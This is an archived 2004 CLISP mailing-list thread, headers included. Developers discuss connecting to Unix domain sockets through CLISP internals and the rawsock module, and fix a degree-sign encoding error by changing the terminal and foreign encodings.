which is what the raw-sock module is useful for. More importantly, if I looked correctly, raw-sock does not integrate with the rest of CLISP sockets (no surprise, since it provides more "low-level" API). I don't want (I'd consider it a waste, reason below) to define a dozen of methods just to make raw-sock implement the usual CLISP stream protocol. Ad 2) I searched using "unix" and "sockets" but found nothing relevant except for udp discussions which is again not what I want or what a efw people in this list have asked for. Here I want stream sockets, usable like other Lisp-level socket streams. 3) ext:make-stream was of no help either. Don Cohen wrote during the same day of April: >BTW, I also believe that the code as it stands now would not support >unix sockets. So whoever makes a real clisp module out of it might >want to add that. For years now, almost every CLISP on UNIX has had the ability to connect to unix domain sockets -- but only to the local X server. I can't remember which of sockets or FFI (1994) was first in CLISP. It's called MAKE-SOCKET-STREAM and it's a little dorming these days: it's exported neither from EXT nor from SOCKET. Here's a hack to connect to the local postgres unix domain socket: cd /tmp/.X11-unix ln ../.s.PGSQL.5432 X5432 # be root (in-package "PG") ; Eric Marsden's pg-0.19 (defun socket-connect(port host) ; override sysdep.lisp (sys::make-socket-stream "unix" port)) ; 5432 is the default postgres port (in-package"PG-TESTS") (test) [...] it just works. So the only missing thing is to: o either open the function to provide a pathname or provide a separate function name o refactor some code in src/socket.d and stream.d to accept pathname o rename the resulting object from # to something independent of X11, o export it from EXT or SOCKET, o document it. [I could do that, but I currently rate a few FFI items at higher priority.] See, 95% of unix domain sockets has been there, for years. Regards, Jorg Hohle. From sds@gnu.org Mon Oct 04 07:31:13 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CETrs-0001xM-CW for clisp-list@lists.sourceforge.net; Mon, 04 Oct 2004 07:31:12 -0700 Received: from [198.112.236.6] (helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CETro-0001N4-RL for clisp-list@lists.sourceforge.net; Mon, 04 Oct 2004 07:31:12 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i94EUtXB017975; Mon, 4 Oct 2004 10:30:56 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Catalin Marinas Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Catalin Marinas's message of "Mon, 04 Oct 2004 14:39:50 +0100") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Catalin Marinas Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: Charsets and #\Degree_sign Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 4 07:35:31 2004 X-Original-Date: Mon, 04 Oct 2004 10:30:55 -0400 > * Catalin Marinas [2004-10-04 14:39:50 +0100]: > > I'm trying to read the output of an application through a stream and, > at some point, the application generates the degree sign > (code-char #xB0) and read-line fails with an error saying that the > character cannot be represented in the character set CHARSET:ASCII. > > I looked in the clisp (version 2.33.2) implementation notes and this > character seems to be part of the iso-8859-1 set. I tried setting > :external-format 'iso-8859-1 and/or :element-type 'extended-char but > it doesn't make any difference. (with-open-file (s "c:/temp/foo" :direction :output :external-format charset:iso-8859-1) (write-char (code-char #xB0) s) (terpri s)) NIL (with-open-file (s "c:/temp/foo" :direction :input :external-format charset:iso-8859-1) (list (read-char s) (read-char s) (read-char s nil nil))) (#\DEGREE_SIGN #\Newline NIL) -- Sam Steingold (http://www.podval.org/~sds) running w2k Small languages require big programs, large languages enable small programs. From sds@gnu.org Mon Oct 04 07:55:20 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CEUFE-0008Jr-4p for clisp-list@lists.sourceforge.net; Mon, 04 Oct 2004 07:55:20 -0700 Received: from [198.112.236.6] (helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CEUFD-00012i-1W for clisp-list@lists.sourceforge.net; Mon, 04 Oct 2004 07:55:20 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i94EtAXB025756; Mon, 4 Oct 2004 10:55:11 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0301AEB418@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Mon, 4 Oct 2004 16:00:53 +0200") References: <5F9130612D07074EB0A0CE7E69FD7A0301AEB418@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_PERCENT BODY: Text interparsed with % 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 0.0 SF_CHICKENPOX_SEMICOLON BODY: Text interparsed with ; Subject: [clisp-list] Re: binding to Unix domain sockets -- 95% of it has been there for ag es Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 4 08:00:03 2004 X-Original-Date: Mon, 04 Oct 2004 10:55:10 -0400 > * Hoehle, Joerg-Cyril [2004-10-04 16:00:53 +0200]: > > Ad 1): I don't need raw sockets or use UDP, which is what the raw-sock > module is useful for. More importantly, if I looked correctly, > raw-sock does not integrate with the rest of CLISP sockets (no > surprise, since it provides more "low-level" API). I don't want (I'd > consider it a waste, reason below) to define a dozen of methods just > to make raw-sock implement the usual CLISP stream protocol. if you bother to look at the docs, you will find this: : 31.2.6.10. Raw Socket Access. This is the raw socket interface, as described in . Sockets are represented by their FIXNUM file descriptors. Use SOCKET:SOCKET-STREAM instead! This interface is very low-level, and you probably do not need it - unless you are doing something very unusual. If you are interested in TCP/IP (Internet) sockets, you should use SOCKET:SOCKET-STREAMs, not this package. Do not use EXT:MAKE-STREAM! You can turn such a raw socket into a usual lisp STREAM using EXT:MAKE-STREAM, but you should be extremely careful with such dubious actions! See the mailing list archives for more details. : 21.3.2. Function EXT:MAKE-STREAM Function EXT:MAKE-STREAM creates a Lisp stream out of an OS file handle: (EXT:MAKE-STREAM object :DIRECTION :ELEMENT-TYPE :EXTERNAL-FORMAT :BUFFERED) object designates an OS handle (a file descriptor), and should be one of the following: number denotes the file descriptor of this value :INPUT denotes CLISP process standard input :OUTPUT denotes CLISP process standard output :ERROR denotes CLISP process standard error STREAM denotes the handle of this stream, which should be a FILE-STREAM or a SOCKET:SOCKET-STREAM Beware of buffering! When there are several Lisp STREAMs backed by the same OS file handle, the behavior may be highly confusing when some of the Lisp streams are :BUFFERED. Use FORCE-OUTPUT for output STREAMs, and bulk input for input STREAMs. The handle is duplicated (with dup/dup2), so it is safe to CLOSE a STREAM returned by EXT:MAKE-STREAM. > Don Cohen wrote during the same day of April: >>BTW, I also believe that the code as it stands now would not support >>unix sockets. So whoever makes a real clisp module out of it might >>want to add that. clisp/modules/rawsock/sock.lisp:open-unix-socket > So the only missing thing is to: > o either open the function to provide a pathname or provide a separate function name > o refactor some code in src/socket.d and stream.d to accept pathname > o rename the resulting object from # to something independent of X11, > o export it from EXT or SOCKET, > o document it. Bruno vetoed this approach when is was raised. see and around. -- Sam Steingold (http://www.podval.org/~sds) running w2k main(a){a="main(a){a=%c%s%c;printf(a,34,a,34);}";printf(a,34,a,34);} From cmarinas@ntlworld.com Mon Oct 04 08:00:33 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CEUKG-00018q-TU for clisp-list@lists.sourceforge.net; Mon, 04 Oct 2004 08:00:32 -0700 Received: from ipass.cambridge.arm.com ([193.131.176.58] helo=cam-admin0.cambridge.arm.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CEUKF-0007Fg-7m for clisp-list@lists.sourceforge.net; Mon, 04 Oct 2004 08:00:32 -0700 Received: from cam-mail2.cambridge.arm.com (cam-mail2.cambridge.arm.com [10.1.127.39]) by cam-admin0.cambridge.arm.com (8.12.10/8.12.10) with ESMTP id i94ExBxm008317 for ; Mon, 4 Oct 2004 15:59:11 +0100 (BST) Received: from pc1117.cambridge.arm.com (cmarinas@pc1117.cambridge.arm.com [10.1.69.160]) by cam-mail2.cambridge.arm.com (8.9.3/8.9.3) with ESMTP id PAA00966 for ; Mon, 4 Oct 2004 15:58:46 +0100 (BST) From: Catalin Marinas To: clisp-list@lists.sourceforge.net In-Reply-To: References: Content-Type: text/plain Message-Id: <1096901987.30876.80.camel@pc1117> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: Charsets and #\Degree_sign Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 4 08:04:52 2004 X-Original-Date: Mon, 04 Oct 2004 15:59:47 +0100 On Mon, 2004-10-04 at 15:30, Sam Steingold wrote: > (with-open-file (s "c:/temp/foo" :direction :input > :external-format charset:iso-8859-1) > (list (read-char s) (read-char s) (read-char s nil nil))) > (#\DEGREE_SIGN #\Newline NIL) This works but (read-line s) fails with "Character #\u00B0 cannot be represented in the character set CHARSET:ASCII". Should I write my own read-line function? Thanks for your reply, Catalin From sds@gnu.org Mon Oct 04 08:38:08 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CEUud-0002jH-AF for clisp-list@lists.sourceforge.net; Mon, 04 Oct 2004 08:38:07 -0700 Received: from [198.112.236.6] (helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CEUuc-0006fw-9n for clisp-list@lists.sourceforge.net; Mon, 04 Oct 2004 08:38:07 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i94FbvXB008921; Mon, 4 Oct 2004 11:37:57 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Catalin Marinas Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <1096901987.30876.80.camel@pc1117> (Catalin Marinas's message of "Mon, 04 Oct 2004 15:59:47 +0100") References: <1096901987.30876.80.camel@pc1117> Mail-Followup-To: clisp-list@lists.sourceforge.net, Catalin Marinas Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: Charsets and #\Degree_sign Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 4 08:41:40 2004 X-Original-Date: Mon, 04 Oct 2004 11:37:56 -0400 > * Catalin Marinas [2004-10-04 15:59:47 +0100]: > > On Mon, 2004-10-04 at 15:30, Sam Steingold wrote: >> (with-open-file (s "c:/temp/foo" :direction :input >> :external-format charset:iso-8859-1) >> (list (read-char s) (read-char s) (read-char s nil nil))) >> (#\DEGREE_SIGN #\Newline NIL) > > This works but (read-line s) fails with "Character #\u00B0 cannot be > represented in the character set CHARSET:ASCII". This message is NOT from READ-LINE. Try (with-open-file (s "c:/temp/foo" :direction :input :external-format charset:iso-8859-1) (setq l (read-line s)) nil) Your *TERMINAL-ENCODING* is ASCII, so L (the string) cannot be properly printer to the screen. Try (setq *terminal-encoding* charset:iso-8859-1) and then evaluate L. -- Sam Steingold (http://www.podval.org/~sds) running w2k If You Want Breakfast In Bed, Sleep In the Kitchen. From cmarinas@ntlworld.com Mon Oct 04 08:51:41 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CEV7i-0006SG-1Y for clisp-list@lists.sourceforge.net; Mon, 04 Oct 2004 08:51:38 -0700 Received: from ipass.cambridge.arm.com ([193.131.176.58] helo=cam-admin0.cambridge.arm.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CEV7g-0000gS-MV for clisp-list@lists.sourceforge.net; Mon, 04 Oct 2004 08:51:37 -0700 Received: from cam-mail2.cambridge.arm.com (cam-mail2.cambridge.arm.com [10.1.127.39]) by cam-admin0.cambridge.arm.com (8.12.10/8.12.10) with ESMTP id i94Fp4xm013037 for ; Mon, 4 Oct 2004 16:51:04 +0100 (BST) Received: from pc1117.cambridge.arm.com (cmarinas@pc1117.cambridge.arm.com [10.1.69.160]) by cam-mail2.cambridge.arm.com (8.9.3/8.9.3) with ESMTP id QAA02093 for ; Mon, 4 Oct 2004 16:50:39 +0100 (BST) From: Catalin Marinas To: clisp-list@lists.sourceforge.net In-Reply-To: References: <1096901987.30876.80.camel@pc1117> Content-Type: text/plain Message-Id: <1096905100.30882.87.camel@pc1117> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: Charsets and #\Degree_sign Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 4 08:57:36 2004 X-Original-Date: Mon, 04 Oct 2004 16:51:40 +0100 On Mon, 2004-10-04 at 16:37, Sam Steingold wrote: > This message is NOT from READ-LINE. > Try > > (with-open-file (s "c:/temp/foo" :direction :input > :external-format charset:iso-8859-1) > (setq l (read-line s)) > nil) > > Your *TERMINAL-ENCODING* is ASCII, so L (the string) cannot be properly > printer to the screen. I understand the problem now. When I initially tried to debug this, the problem was shown on read-line but I never checked if the error location has changed after adding :external-format. Is there a way to enable this encoding for regexp-compile or regexp-exec? This is where I get the error. Thanks again, Catalin From Joerg-Cyril.Hoehle@t-systems.com Mon Oct 04 08:53:42 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CEV9e-0006rV-Bb for clisp-list@lists.sourceforge.net; Mon, 04 Oct 2004 08:53:38 -0700 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CEV9W-0000rb-DO for clisp-list@lists.sourceforge.net; Mon, 04 Oct 2004 08:53:37 -0700 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 4 Oct 2004 17:52:27 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <4HABH25V>; Mon, 4 Oct 2004 17:52:37 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0301AEB491@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? Subject: [clisp-list] AW: binding to Unix domain sockets -- 95% of it has been there fo r ag es Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 4 08:58:16 2004 X-Original-Date: Mon, 4 Oct 2004 17:52:36 +0200 Sam wrote: >Bruno vetoed this approach when is was raised. >see >and around. I only see mention of UDP, ARP, ICMP. Me too does not care about these here. So where's the objection to the present topic? >31.2.6.10. Raw Socket Access. >This is the raw socket interface, as described in >. Sockets are represented by their FIXNUM file >descriptors. I missed that one. So a combination of rawsock:SOCKET and ext:make-stream should also work. > Use SOCKET:SOCKET-STREAM instead! >This interface is very low-level, and you probably do not need it - >unless you are doing something very unusual. I don't feel I'm doing something unusual. X11 has done it for years. > Do not use EXT:MAKE-STREAM! So should people feel safe using a combination of these two "beware of" functions when they want to connect to UNIX domain sockets? Still, we're comparing an optional module who knows who installed it with functionality that has been in CLISP even before modules were added to CLISP (networking 1993, FFI 1994/5). I'd rather have the functionality which right now is already in the core be made usable, so I can recommend Eric to write: #+(and clisp UNIX) (defun socket-connect #) instead of #+clisp (unless (find-package "RAWSOCK") (warn "Go recompile with module RAWSOCK or at least restart CLISP with RAWSOCK") #+clisp (defun socket-connect (rawsock:... >The handle is duplicated (with dup/dup2), so it is safe to CLOSE a >STREAM returned by EXT:MAKE-STREAM. That's unclear to me. One SHOULD close the stream returned by MAKE-STREAM after use, don't you think? And one SHOULD immediately RAWSOCK:SOCK-CLOSE the original fd, shouldn't s/he? And still, these are second-class citizens, because CLISP will not free such a socket via GC whereas it does for the X11 socket as well as the others. So add a EXT:FINALIZE. Well no. That's broken, because nobody knows whether the socket has already been closed, unlike their core socket/file-streams unequal sisters. And I remember fixing a bug in CLISP where sockets were "closed" twice (i.e. another later socket with the same, reused number got closed at random times), real fun! Regards, Jorg Hohle From Joerg-Cyril.Hoehle@t-systems.com Mon Oct 04 09:14:36 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CEVTv-00047o-5y for clisp-list@lists.sourceforge.net; Mon, 04 Oct 2004 09:14:35 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CEVTt-0000kG-GB for clisp-list@lists.sourceforge.net; Mon, 04 Oct 2004 09:14:35 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Mon, 4 Oct 2004 18:14:15 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <4G00JZKR>; Mon, 4 Oct 2004 18:13:25 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0301AEB497@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: cmarinas@ntlworld.com Subject: AW: [clisp-list] Re: Charsets and #\Degree_sign MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 4 09:18:31 2004 X-Original-Date: Mon, 4 Oct 2004 18:13:24 +0200 >Is there a way to enable this encoding for regexp-compile or >regexp-exec? This is where I get the error. custom:*foreign-encoding* From sds@gnu.org Mon Oct 04 09:20:37 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CEVZk-0005oZ-FP for clisp-list@lists.sourceforge.net; Mon, 04 Oct 2004 09:20:36 -0700 Received: from [198.112.236.6] (helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CEVZi-0001nd-0G for clisp-list@lists.sourceforge.net; Mon, 04 Oct 2004 09:20:36 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i94GKPXB022592; Mon, 4 Oct 2004 12:20:25 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Catalin Marinas Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <1096905100.30882.87.camel@pc1117> (Catalin Marinas's message of "Mon, 04 Oct 2004 16:51:40 +0100") References: <1096901987.30876.80.camel@pc1117> <1096905100.30882.87.camel@pc1117> Mail-Followup-To: clisp-list@lists.sourceforge.net, Catalin Marinas Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: Charsets and #\Degree_sign Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 4 09:23:06 2004 X-Original-Date: Mon, 04 Oct 2004 12:20:25 -0400 > * Catalin Marinas [2004-10-04 16:51:40 +0100]: > > Is there a way to enable this encoding for regexp-compile or > regexp-exec? you need to set *MISC-ENCODING* to avoid this error. Note that OS-supplied regexp library uses "the current encoding from the OS" (as specified by SUS6) internally, so YMMV wrt matching behavior. -- Sam Steingold (http://www.podval.org/~sds) running w2k A slave dreams not of Freedom, but of owning his own slaves. From sds@gnu.org Mon Oct 04 09:43:23 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CEVvl-0003yt-No for clisp-list@lists.sourceforge.net; Mon, 04 Oct 2004 09:43:21 -0700 Received: from [198.112.236.6] (helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CEVua-0006VJ-EB for clisp-list@lists.sourceforge.net; Mon, 04 Oct 2004 09:43:21 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i94GfuXB029560; Mon, 4 Oct 2004 12:41:56 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0301AEB491@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Mon, 4 Oct 2004 17:52:36 +0200") References: <5F9130612D07074EB0A0CE7E69FD7A0301AEB491@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: AW: binding to Unix domain sockets -- 95% of it has been there fo r ag es Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: 